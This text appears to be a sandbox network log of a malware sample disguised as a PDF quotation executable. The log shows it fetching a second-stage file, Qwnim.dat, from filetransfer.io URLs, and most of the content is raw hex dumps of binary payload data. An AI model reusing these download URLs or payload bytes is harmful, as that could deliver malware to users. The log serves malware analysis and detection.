GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: f7 58 a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 Data Ascii: Xp&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: 16 94 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSU
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: b1 4c c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 Data Ascii: LB4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: 23 cc 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 Data Ascii: #IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: 38 6a 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 Data Ascii: 8jlBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: 75 a6 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef Data Ascii: u/ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: 24 7f 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 Data Ascii: $dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49924	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:58 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:59 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:23:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=vcu8avo01iaa2p4rpl4ger1dvm; expires=Fri, 18-Oct-2024 09:23:59 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/8d0YtsDOnedA CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JN%2FmLeRVGqmDz0CAI%2BYfZxigCUGqGgr8fhYkkSJ4MsI3JhydfZrv%2BAlzsJJmocKOlBsUoNlsjDwaScoBpGov4Zc9C%2FfMwKZwwsSyKd5XwxhRFejk0IfOlGWYGiSF3qnQVkU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dc4af7c0f81-EWR
2024-10-04 09:23:59 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 38 64 30 59 74 73 44 4f 6e 65 64 41 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/8d0YtsDOnedA">Please click here to continue</a>.</p>
2024-10-04 09:23:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49933	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:00 UTC	98	OUT	GET /storage/download/8d0YtsDOnedA HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:00 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:00 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=6794c5668f0ab1934db89c301fd208d2; expires=Fri, 18-Oct-2024 09:24:00 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yiW%2BIjGWZO7Fa%2Fovj4r16F%2FhC%2BsC0MQ9eHKKy0AiAzVwPx7uuDzGU6pLu4QL8YTTHVUiZK8Vz6e59pNOtkda7RzYfpt52GTLCEr3hdd4NhSO8WP0EZsNHNuDHux8jkuaINtf9s8X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41dccc9b643c7-EWR
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:24:00 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 